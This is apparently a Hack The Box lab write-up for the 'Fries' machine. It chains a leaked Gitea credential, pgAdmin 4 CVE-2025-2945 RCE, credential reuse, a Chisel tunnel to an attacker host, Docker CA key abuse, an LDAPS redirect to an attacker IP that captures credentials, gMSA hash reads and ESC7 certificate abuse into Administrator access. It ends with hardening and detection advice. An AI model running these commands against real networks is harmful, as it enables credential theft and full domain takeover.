Fries — From a Gitea Credential Leak to ESC7 Domain Compromise
- Tools
- rustscan, nmap, gobuster, hydra, sshpass, chisel, openssl, docker, responder, netexec, certipy, PSPKI, certutil
- Skill demonstrated
- Multi-stage Active Directory exploitation from containerized service compromise to certificate-authority abuse
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Windows Active Directory domain controller alongside a Linux host running containerized services (dual-OS) |
| Starting position | Provided Gitea application credentials |
| Objective | Chain a leaked repository credential, container compromise, and an AD CS misconfiguration into domain-wide administrative access |
| Outcome | Administrator NTLM hash recovery through ESC7 certificate abuse |
Summary
Section titled “Summary”Fries is a Medium-rated Hack The Box Windows Active Directory lab with a dual-OS layout: a Linux host runs SSH, nginx, and containerized services behind the same address that fronts a Windows domain controller. Starting from a provided Gitea login, the path combines a repository credential leak, a container compromise, and an AD CS misconfiguration to reach domain-wide administrative control. All target, operator, domain, account, and secret values are replaced with role-based placeholders; command syntax is preserved.
Attack path: Provided Gitea credentials → repository-history database credential leak → pgAdmin 4 CVE-2025-2945 container RCE → environment-variable credential reuse over SSH → NFS export via Chisel → Docker TLS certificates → Docker daemon control → PWM LDAPS redirect and credential capture → gMSA hash retrieval → ESC7 certificate abuse → Administrator
Context and Objective
Section titled “Context and Objective”- Target: a Windows Active Directory domain controller (Kerberos, LDAP, DNS, SMB, WinRM) and a Linux host (SSH, nginx) sharing one address — an intentionally dual-OS lab.
- Container services: five Docker containers form the application tier — Gitea, PostgreSQL, pgAdmin 4, PWM, and a web front end.
- Starting position: a provided Gitea account, with no domain credentials.
- Objective: move from the provided web credential to domain-wide administrative control by abusing credential reuse, container orchestration, and a certificate-authority misconfiguration.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service and Virtual Host Enumeration
Section titled “1. Service and Virtual Host Enumeration”Observation: a full TCP scan returns both Linux and Windows services on one address, and the Kerberos port confirms a domain controller.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Fries-TCPecho '<TARGET_IP> <DOMAIN_CONTROLLER_HOST> <TARGET_DOMAIN>' | sudo tee -a /etc/hostsgobuster vhost --url http://<TARGET_DOMAIN> --wordlist /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domainTruncated scan output:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux)80/tcp open http nginx 1.18.0 (Ubuntu)88/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap Microsoft Windows Active Directory LDAP5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)Found: <SOURCE_CONTROL_HOST> Status: 200 [Size: 13591]Significance: the SSH/nginx services indicate a Linux host, while Kerberos, LDAP, and WinRM indicate a domain controller; virtual-host discovery exposes an otherwise unreachable Gitea web application at <SOURCE_CONTROL_HOST>.
Result: the dual-OS architecture is confirmed and a Gitea instance is identified for review.
2. Repository Credential Leak and pgAdmin 4 CVE-2025-2945 RCE
Section titled “2. Repository Credential Leak and pgAdmin 4 CVE-2025-2945 RCE”Observation: repository history exposes a .env file with a database connection string, and a repository comment names an internal database management interface.
DATABASE_URL: <DATABASE_USER>:<DATABASE_PASSWORD>@<DATABASE_HOST>:5432The referenced panel runs pgAdmin 4 version 9.1, which is vulnerable to CVE-2025-2945 (fixed in 9.2). The provided Gitea credential and the leaked database credential are combined to invoke the exploit.
python3 poc.py \ --target-url http://<DATABASE_MANAGEMENT_HOST> \ --username <SOURCE_CONTROL_USER>@<TARGET_DOMAIN> \ --password '<GITEA_PASSWORD>' \ --db-user <DATABASE_USER> \ --db-pass '<DATABASE_PASSWORD>' \ --db-name <DATABASE_NAME> \ --payload "<SANITIZED_PAYLOAD>"A shell returns inside the pgAdmin container, and its environment exposes a default password that is reused elsewhere:
<CONTAINER_ID>:/pgadmin4$PGADMIN_DEFAULT_EMAIL=admin@<TARGET_DOMAIN>PGADMIN_DEFAULT_PASSWORD=<REUSED_PASSWORD>Significance: the vulnerability passes an unsafely handled parameter to Python eval(), so an authenticated request becomes code execution under the pgAdmin process. The leaked .env value supplies the database credential the exploit path needs, and the container environment discloses a reusable service password.
Result: code execution is obtained inside the pgAdmin container, and an additional reusable credential is recovered.
3. SSH Access via Credential Reuse
Section titled “3. SSH Access via Credential Reuse”Observation: the password exposed in the pgAdmin container environment is reused on the host.
sshpass -p '<REUSED_PASSWORD>' ssh -o PreferredAuthentications=password <SERVICE_USER>@<TARGET_IP>A separate password check against SSH returns a valid hit for the service account:
[22][ssh] host: <TARGET_IP> login: <SERVICE_USER> password: <REUSED_PASSWORD>Significance: the same secret crosses from a containerized management service to host SSH, so a container-level disclosure becomes host-level access without any further exploit.
Result: an authenticated, interactive shell is obtained on the Linux host as <SERVICE_USER>.
4. NFS Share Mount via Chisel Tunnel
Section titled “4. NFS Share Mount via Chisel Tunnel”Observation: NFS exports are reachable from Docker internal networks but not directly from the attack machine, so the port is tunnelled back with Chisel.
./chisel client <ATTACKER_HOST>:<CHISEL_PORT> R:2049:<DOCKER_GATEWAY_IP>:2049sudo mount -t nfs 127.0.0.1:/ /mnt/<NFS_MOUNT> -o nolockThe export enforces access with a numeric GID, so a matching local group is created to read it:
sudo groupadd -g <NFS_GID> nfs_tempsudo usermod -a -G <NFS_GID> $USERnewgrp nfs_tempcp /mnt/<NFS_MOUNT>/srv/<WEB_HOST>/certs/* ~/<CERTS_DIR>/ca-key.pemca.pemserver-cert.pemserver.csrserver-key.pemserver-openssl.cnfSignificance: the export is restricted only by a bare GID, so any user who can assume that group reads the directory. It contains the Docker TLS certificate material, including the CA private key, which is the trust anchor for the daemon.
Result: the Docker TLS certificate set, including ca-key.pem, is extracted.
5. Docker Daemon Abuse
Section titled “5. Docker Daemon Abuse”Observation: Docker runs with TLS verification on the host’s loopback interface, and the tunnelled API plus the extracted CA key allow a client certificate to be minted.
./chisel client <ATTACKER_HOST>:<CHISEL_PORT> R:2376:<DOCKER_GATEWAY_IP>:2376openssl genrsa -out sysadm-key.pem 4096openssl req -new -key sysadm-key.pem -out sysadm.csr -subj '/CN=root'openssl x509 -req -in sysadm.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out sysadm-cert.pem -days 365 -sha256docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm-cert.pem --tlskey=sysadm-key.pem -H=127.0.0.1:2376 ps<CONTAINER_ID> pwm/pwm-webapp:latest<CONTAINER_ID> dpage/pgadmin4:9.1.0<CONTAINER_ID> <WEB_CONTAINER><CONTAINER_ID> postgres:16<CONTAINER_ID> gitea/gitea:1.22.6Significance: the CA key is the trust anchor for the daemon, so a self-signed client certificate is accepted without any daemon configuration change. Daemon control means arbitrary container creation and command execution on the host.
Result: the Docker API authenticates the minted certificate, and the five running containers are enumerated.
6. PWM LDAPS Redirect and Credential Capture
Section titled “6. PWM LDAPS Redirect and Credential Capture”Observation: a shell is opened in the PWM container, whose configuration points its directory lookup at the domain controller over LDAPS.
docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm-cert.pem --tlskey=sysadm-key.pem -H=127.0.0.1:2376 exec -it <CONTAINER_ID> /bin/bashsed -i 's|ldaps://<DOMAIN_CONTROLLER_HOST>:636|ldaps://<ATTACKER_IP>:636|g' PwmConfiguration.xmlsed -i 's|<property key="configIsEditable"> *true *</property>|<property key="configIsEditable">false</property>|g' PwmConfiguration.xmlWith a listener running and the container restarted, the LDAP bind is captured in cleartext:
sudo responder -I <ATTACK_INTERFACE>docker --tlsverify --tlscacert=ca.pem --tlscert=sysadm-cert.pem --tlskey=sysadm-key.pem -H=127.0.0.1:2376 restart <CONTAINER_ID>[LDAP] Cleartext Client : <TARGET_IP>[LDAP] Cleartext Username : CN=<INFRASTRUCTURE_SERVICE_ACCOUNT>,CN=Users,<DOMAIN_DN>[LDAP] Cleartext Password : <INFRASTRUCTURE_SERVICE_PASSWORD>The captured credentials are confirmed against the domain controller:
LDAP <TARGET_IP> 389 <DOMAIN_CONTROLLER_HOST> [+] <TARGET_DOMAIN>\<INFRASTRUCTURE_SERVICE_ACCOUNT>:<INFRASTRUCTURE_SERVICE_PASSWORD>Significance: redirecting the application’s directory endpoint to an attacker-controlled listener captures a cleartext bind, and disabling the in-application editor prevents the change from being reverted before the service restarts. The captured account is a distinct identity from the host service account.
Result: a domain credential for <INFRASTRUCTURE_SERVICE_ACCOUNT> is captured and validated.
7. gMSA Credential Retrieval
Section titled “7. gMSA Credential Retrieval”Observation: the captured account holds read permission on a group Managed Service Account used by the certificate authority.
nxc ldap <TARGET_DOMAIN> -u <INFRASTRUCTURE_SERVICE_ACCOUNT> -p '<INFRASTRUCTURE_SERVICE_PASSWORD>' -M get-desc-usersnxc ldap <TARGET_DOMAIN> -u <INFRASTRUCTURE_SERVICE_ACCOUNT> -p '<INFRASTRUCTURE_SERVICE_PASSWORD>' --gmsaGET-DESC... User: <GMSA_ACCOUNT> description: GroupManagedServiceAccount used for Certification Authority operationsLDAP <TARGET_IP> 389 <DOMAIN_CONTROLLER_HOST> Account: <GMSA_ACCOUNT> NTLM: <GMSA_NTLM_HASH> PrincipalsAllowedToReadPassword: <INFRASTRUCTURE_SERVICE_ACCOUNT>Significance: a gMSA password is readable by any principal named in PrincipalsAllowedToReadPassword, so the captured account can retrieve the managed account’s NTLM hash directly, without cracking.
Result: the NTLM hash of the certificate-authority service account is recovered.
8. ESC7 Certificate Abuse
Section titled “8. ESC7 Certificate Abuse”Observation: certificate-authority enumeration reports ESC7 — insecure delegated security roles — with BUILTIN\Administrators as owner.
Vulnerabilities ESC7 : The CA has insecure delegated security roles or permissions. CA Permissions Owner: BUILTIN\Administrators <ADMIN_GROUP_SID>The CA’s EditFlags are modified through the PSPKI module to permit SAN specification, and the CA service is restarted:
Import-Module PSPKI$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "<CA_FQDN>"$configReader.SetRootNode($true)$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")Restart-Service certsvcThe EditFlags change is recorded as applied; the verification command’s output was not retained:
certutil.exe -config "<CA_FQDN>\<CA_NAME>" -getreg "policy\EditFlags"The Administrator SID is retrieved for the certificate request:
Get-ADUser administrator -Properties SID | Select-Object -ExpandProperty SIDA certificate is then requested for the Administrator identity using the User template with an explicit UPN and SID, and authentication with the resulting certificate returns the Administrator hash:
certipy req -u '<INFRASTRUCTURE_SERVICE_ACCOUNT>@<TARGET_DOMAIN>' -p '<INFRASTRUCTURE_SERVICE_PASSWORD>' -dc-ip <TARGET_IP> -ca '<CA_NAME>' -template 'User' -upn 'administrator@<TARGET_DOMAIN>' -sid '<ADMIN_SID>' -dynamic-endpointcertipy auth -pfx administrator.pfx -dc-ip <TARGET_IP>NTLM hash: <ADMIN_NTLM_HASH>Significance: ESC7 grants effective control over the CA’s security descriptors, and editing EditFlags exposes ESC6-style behavior so a requester can place an arbitrary SAN on the issued certificate. That yields a certificate for the Administrator identity, and certificate-based PKINIT authentication returns the account’s NTLM hash.
Result: certificate authentication for the Administrator identity succeeds and returns the Administrator NTLM hash.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| Docker and NFS services bound to internal or loopback addresses | Reached through a Chisel reverse tunnel (R: remotes) |
The services are not directly routable from the attack machine |
| NFS export restricted by an unlisted numeric GID | Created a matching local group and entered it with newgrp |
The export authorizes the GID, not a username |
| PWM configurable by design, so the LDAPS edit could revert | Disabled the configuration editor alongside the URL change | Prevents the modification from being restored before the service reloads |
| ESC7 alone does not permit SAN control | Edited EditFlags to expose ESC6-style behavior |
Needed to place an arbitrary SAN on the requested certificate |
Outcome
Section titled “Outcome”The evidence establishes an end-to-end path from a provided web application credential to Administrator-equivalent control of the domain, resting on widespread credential reuse and layered misconfiguration rather than a single critical exploit; CVE-2025-2945 is the only software vulnerability in the path.
Limitations: the recovered secret values, the domain SID, and the hash outputs are redacted here, so the credential values themselves are not reproducible from this writeup. The exploit payload is summarized rather than reproduced.
Lessons and Recommendations
Section titled “Lessons and Recommendations”Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.
- Secrets in repository history. A committed
.envfile exposed a database connection string, which fed the pgAdmin exploit. Recommendation: keep secrets out of version control, rotate any credential that has ever been committed, and scan history and history rewrites with a secret scanner. Detection: alert on credential-shaped strings in commits and on access to management panels using database superuser accounts. - Unpatched management interface. The exposed pgAdmin 4 panel ran a version with a known remote code execution flaw. Recommendation: track and promptly apply upstream releases for internet- or network-reachable management tooling, and place such interfaces behind authentication and network segmentation rather than exposing them on an internal hostname. Detection: inventory management-service versions and alert on unexpected outbound connections from containerized services.
- Credential reuse across trust boundaries. A container’s default password authenticated to host SSH. Recommendation: never reuse secrets between containers, services, and host accounts; issue unique, rotated credentials per service. Detection: alert on successful authentication by a service account from an unexpected source.
- Exposed Docker TLS key material. Docker CA and server keys were readable on an NFS export restricted only by a bare GID. Recommendation: keep daemon key material off shared exports, restrict exports by host and user where the protocol supports it, and treat the CA private key as a root-equivalent secret. Detection: monitor access to certificate directories and alert on unexpected client certificates presented to the daemon.
- Attack-controlled directory redirection. The PWM container’s LDAP endpoint was repointed to capture a cleartext bind. Recommendation: enforce TLS certificate validation on directory clients, protect application configuration files from in-container modification, and remove cleartext bind usage. Detection: alert on configuration changes to authentication endpoints and on cleartext LDAP binds.
- Over-broad gMSA read permission.
<INFRASTRUCTURE_SERVICE_ACCOUNT>could read the CA gMSA’s password. Recommendation: reviewPrincipalsAllowedToReadPasswordregularly and limit it to the minimum set of identities that require it. Detection: monitor gMSA password reads and changes to those ACLs. - CA delegation misconfiguration (ESC7). Insecure delegated security roles let the attacker edit
EditFlagsand expose ESC6-style SAN control. Recommendation: audit CA security descriptors and policy flags against a hardened baseline, restrict CA management to dedicated tier-zero identities, and monitorEditFlagsand policy-module changes. Validation: periodically enumerate CA misconfigurations with a tool such as Certipy and review the results.
References
Section titled “References”- Hack The Box — Fries (retired machine)
- NVD — CVE-2025-2945 (pgAdmin 4 remote code execution, fixed in 9.2)
- pgAdmin — Security Advisories (vendor advisory listing for CVE-2025-2945)
- GitHub Advisory — GHSA-g73c-fw68-pwx3 (pgAdmin 4 remote code execution)
- pgAdmin4 issue 8603 (upstream fix reference)
- RustScan (fast port scanner)
- Nmap Reference Guide
- Gobuster (directory, DNS, and virtual-host discovery)
- THC-Hydra (credential checks against network services)
- sshpass (non-interactive SSH password authentication)
- Chisel (TCP tunnel over HTTP)
- OpenSSL
x509(certificate request signing) - Docker — Protect the Docker daemon socket (TLS client authentication)
- Responder (rogue authentication server, including LDAP capture)
- NetExec (LDAP and gMSA operations)
- Certipy (AD CS enumeration and abuse)
- PSPKI (PowerShell PKI/CA management module)
- certutil (Windows certificate and CA utility)